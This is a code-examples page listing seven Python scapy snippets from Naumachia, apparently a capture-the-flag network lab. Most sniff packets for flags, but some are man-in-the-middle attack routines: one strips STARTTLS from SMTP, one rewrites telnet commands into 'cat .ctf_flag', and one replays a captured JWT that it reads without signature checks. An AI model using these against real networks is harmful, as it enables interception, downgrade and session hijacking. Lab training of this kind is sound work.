Python scapy.all.all() Examples
The following are 7
code examples of scapy.all.all().
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Example #1
Source File: scraps.py From Naumachia with MIT License | 5 votes |
def process(self, pkt): if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.TCP)): logger.debug(pkt.sprintf("[%Ether.src%]%IP.src%:%TCP.sport% > [%Ether.dst%]%IP.dst%:%TCP.dport% %TCP.flags%")) if pkt[scapy.Ether].dst == str(net.ifhwaddr(self.iface)) and pkt[scapy.TCP].flags == 2: self.bindaddr, self.bindport = pkt[scapy.IP].dst, pkt[scapy.TCP].dport if self._thread is None or not self._thread.is_alive(): self._thread = threading.Thread(target=self.intercept) self._thread.start()
Example #2
Source File: letter.py From Naumachia with MIT License | 4 votes |
def process(self, pkt): if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)): logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%')) try: load = pkt.load.decode('utf-8') except UnicodeDecodeError: return m = re.search(self.flagpattern, load) if m: self.flag = m.group(0) self.sniffer.stop()
Example #3
Source File: letter.py From Naumachia with MIT License | 4 votes |
def corrupttls(pkt): """corrupttls looks for an SMTP client packet with `STARTTLS` and replaces it with `STARTFOO`""" if all(layer in pkt for layer in (scapy.IP, scapy.TCP, scapy.Raw)): if pkt[scapy.TCP].dport == 25 and b'STARTTLS' in pkt[scapy.Raw].load: pkt.load = pkt[scapy.Raw].load.replace(b'STARTTLS', b'STARTFOO') return pkt
Example #4
Source File: piggies.py From Naumachia with MIT License | 4 votes |
def process(self, pkt): if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)): logger.debug(pkt.sprintf('%IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %Raw.load%')) try: load = pkt.load.decode('utf-8') except UnicodeDecodeError: return m = re.search(self.flagpattern, load) if m: self.flag = m.group(0) self.sniffer.stop()
Example #5
Source File: piggies.py From Naumachia with MIT License | 4 votes |
def injectcmd(pkt): """injectcmd looks for a telnet client packet and if it has the `cd` command, reaplces it with `cat .ctf_flag`""" if all(layer in pkt for layer in (scapy.IP, scapy.TCP)): if scapy.Raw in pkt and pkt[scapy.TCP].dport == 23: raw = pkt[scapy.Raw] if b'cd ' in raw.load: raw.load = b'cat .ctf_flag\n' return pkt
Example #6
Source File: middle.py From Naumachia with MIT License | 4 votes |
def process(self, pkt): if all(layer in pkt for layer in (scapy.Ether, scapy.IP, scapy.UDP, scapy.Raw)): logger.debug(pkt.sprintf('%IP.src%: %Raw.load%')) try: load = pkt.load.decode('utf-8') except UnicodeDecodeError: return m = re.search(self.flagpattern, load) if m: self.question = m.group(0) elif 'Yup' in load and self.question is not None: self.flag = self.question self.sniffer.stop()
Example #7
Source File: recipe.py From Naumachia with MIT License | 4 votes |
def filter(self, pkt): if all(layer in pkt for layer in (scapy.TCP, scapy.Raw)): tcp, raw = pkt[scapy.TCP], pkt[scapy.Raw] if tcp.sport == self.port: try: if jwt.decode(raw.load, verify=False)['auth']: self.authed_token = raw.load elif self.authed_token is not None: raw.load = self.authed_token except (jwt.DecodeError, KeyError): pass return pkt